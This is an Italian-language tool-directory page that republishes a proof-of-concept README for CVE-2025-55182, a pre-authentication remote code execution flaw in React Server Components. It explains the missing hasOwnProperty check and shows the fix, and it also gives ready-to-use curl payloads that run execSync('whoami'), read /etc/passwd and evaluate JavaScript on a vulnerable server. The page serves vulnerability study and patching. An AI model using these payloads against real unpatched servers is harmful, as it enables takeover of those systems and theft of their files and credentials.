Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-55182-realistic-poc — una POC realistica che dimostra la mancanza del controllo `hasOwnProperty` in react-server-dom-webpack@19.0.0 | Kitploit
Strumenti/GitHubGitHub/joshterrill/cve-2025-55182-realistic-poc
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebApprendimento e FormazioneSviluppo Payload
GitHubjoshterrill/cve-2025-55182-realistic-poc

CVE-2025-55182-realistic-poc

una POC realistica che dimostra la mancanza del controllo `hasOwnProperty` in [email protected]

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
18 mesi faNon ancora revisionato

CVE-2025-55182: RCE dei React Server Components

Una prova di concetto minimale che dimostra la vulnerabilità critica di esecuzione di codice in remoto in [email protected].

Cos'è CVE-2025-55182?

Una vulnerabilità RCE pre-autenticazione in React Server Components che consente agli attaccanti di eseguire codice arbitrario sui server che utilizzano il pacchetto vulnerabile react-server-dom-webpack (versioni 19.0.0 - 19.2.0).

Punteggio CVSS: 10 (Critico)

Pacchetti interessati

  • react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0

Versioni corrette

  • 19.0.1, 19.1.2, 19.2.1

La vulnerabilità

Causa principale: mancato controllo di hasOwnProperty

La vulnerabilità è presente nella funzione requireModule dell'implementazione del protocollo Flight di React. Questa funzione carica gli export dei moduli sulla base dei metadati ricevuti dalle richieste dei client.

Codice vulnerabile ([email protected]):

root@kitploit:~
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  return moduleExports[metadata[NAME]];  // <-- No validation!
}

Il problema: metadata[NAME] proviene da input dell'utente (la richiesta HTTP). Un attaccante può specificare qualsiasi modulo e nome di export, come child_process#execSync.

La correzione (PR #35277)

Codice corretto ([email protected]+):

root@kitploit:~
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

import hasOwnProperty from 'shared/hasOwnProperty';

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  // FIXED: Validate that the export actually exists
  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
    return moduleExports[metadata[NAME]];
  }
  return (undefined: any);
}

La correzione aggiunge hasOwnProperty.call() per garantire che l'export richiesto sia una proprietà diretta del modulo, e non ereditata dalla catena dei prototipi o risolvibile dinamicamente verso moduli pericolosi.

Vettore d'attacco

  1. L'attaccante invia una richiesta HTTP POST appositamente predisposta a un endpoint di server action
  2. Il payload contiene i campi $ACTION_REF_0 e $ACTION_0:0
  3. $ACTION_0:0 contiene {"id":"child_process#execSync","bound":["whoami"]}
  4. decodeAction analizza tutto questo e chiama requireModule con metadati controllati dall'attaccante
  5. requireModule restituisce require('child_process').execSync
  6. La funzione viene chiamata con argomenti dell'attaccante → RCE

Prova di concetto

Configurazione

root@kitploit:~
cd CVE-2025-55182-realistic-poc/
npm install
npm start
# starts on http://localhost:3000

Esegui la RCE

root@kitploit:~
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

Output previsto:

root@kitploit:~
{"success":true,"result":"your-username\n"}

Altri esempi di exploit

root@kitploit:~
# Read files
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Execute JavaScript
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["process.version"]}'

Come funziona

Il flusso di decodeAction

root@kitploit:~
HTTP Request
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  decodeAction(formData, serverManifest)                     │
│  - Parses $ACTION_REF_0 to find action reference            │
│  - Parses $ACTION_0:0 to get {id, bound}                    │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  loadServerReference(serverManifest, id, bound)             │
│  - id = "child_process#execSync" (attacker controlled)      │
│  - bound = ["whoami"] (attacker controlled)                 │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  resolveServerReference(bundlerConfig, id)                  │
│  - Splits "child_process#execSync" into:                    │
│    specifier = "child_process"                              │
│    name = "execSync"                                        │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  requireModule(metadata)                     [VULNERABLE]   │
│  - Loads require("child_process")                           │
│  - Returns moduleExports["execSync"]                        │
│  - NO VALIDATION that "execSync" should be accessible       │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  action = execSync.bind(null, "whoami")                     │
│  result = action()  →  EXECUTES "whoami" ON SERVER          │
└─────────────────────────────────────────────────────────────┘

Riferimenti

  • Avviso di sicurezza React: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
  • PR GitHub #35277 (Correzione): https://github.com/facebook/react/pull/35277
  • Record CVE: https://nvd.nist.gov/vuln/detail/CVE-2025-55182
  • Analisi Wiz: https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182
  • Avviso Next.js: https://nextjs.org/blog/CVE-2025-66478

Licenza

MIT

Scarica lo strumento